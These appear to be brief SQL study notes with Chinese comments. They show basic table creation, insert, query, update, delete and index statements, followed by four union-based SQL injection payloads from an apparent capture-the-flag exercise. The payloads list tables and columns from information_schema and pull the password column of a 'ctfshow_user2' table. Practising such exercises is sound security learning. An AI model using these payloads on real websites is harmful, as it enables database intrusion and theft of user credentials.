//创建表 CREATETABLE Employees ( EmployeeID int, LastName varchar(255), FirstName varchar(255), Position varchar(100) ); //插入数据 INSERTINTO Employees (EmployeeID, LastName, FirstName, Position) VALUES (1, 'Smith', 'John', 'Software Engineer'); //查询数据 SELECT*FROM Employees; 或者 SELECT FirstName, LastName FROM Employees WHERE Position ='Software Engineer';
//更新数据 UPDATE Employees SET Position ='Senior Software Engineer'WHERE EmployeeID =1; //删除数据 DELETEFROM Employees WHERE EmployeeID =1; //创建索引 CREATE INDEX idx_lastname ON Employees(LastName);
1' or 1=1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'--+
1' or 1=1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_user2'--+
-1' or 1=1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web '--+
1' or 1=1 union select 1,2,group_concat(password) from ctfshow_user2--+